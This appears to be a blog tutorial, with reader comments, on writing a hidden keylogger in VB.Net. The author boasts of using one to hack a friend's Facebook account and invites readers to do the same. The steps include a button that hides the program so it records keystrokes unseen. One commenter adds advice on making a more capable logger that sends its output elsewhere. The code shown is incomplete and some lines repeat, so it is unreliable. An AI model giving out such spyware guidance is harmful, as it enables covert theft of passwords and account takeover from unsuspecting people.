What is a Keylogger?
Keylogger is a program that records every keyboard keys
pressed by a computer user. It is mostly used by hackers to steal confidential
information like password, credit card credentials, etc.

So apart from hacking credit card credentials I usually used
keylogger to hack my friend’s facebook account. That’s why I have given you the source code so that you can
also do the same. Visit below link for keylogger free download.

How to Make a Keylogger in VB.Net
1. So lets begin with designing the GUI (Graphical User
Interface). First of all open Visual Studio & create a new project.
Interface). First of all open Visual Studio & create a new project.
2. Now add 3 Buttons from Toolbox and name them Start, Stop
& Hide. Start button will help us to start recording the keystrokes pressed. Stop will help us to stop recording the keystrokes and the best one is Hide, it will help us to make our
keylogger invisible (it will run in background).

3. Now add a RichTextBox – This will help us to display the
recorded Keystrokes.
recorded Keystrokes.
4. Add a timer and set its interval to 170 (Don’t enable the
timer). Our GUI designing is completed, now we need to write our code.

5. Double click the form so that you can switch to code view, now clear all the code and paste the following code:
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Public log As String
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Button1.Text = "Started !"
Button2.Text = "Stop Recording"
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
Button1.Text = "Start Recording"
Button2.Text = "Stopped !"
End Sub

Tip: If you are facing any error then make sure your form Name is Form1.
Thanks for the knowledge you shared. I appreciate your input but I noticed there’s a bug when I type keys faster. The keys are not in order and sometimes it produce wrong keys. What’s the problem?
Thanks =)
how would I make an if statement such as ctrl 1 in this and is there any way to reduce the input delay
In what format should i save it please? I dont understand code so much so if somebody can help me please.
Doesn’t work for fast inputs or for scanners like barcode readers. You need to take the async key reading out of a timer and do your own debouncing by checking not just for change but keypress status, either pressed or not. An actually useful logger is far more complicated than this, looping to check each key that you want to log and pushing the output where you want it to go, but the introduction to getAsyncKeyState really is all you’d need to get a functional one working pretty quickly. Thanks for that.
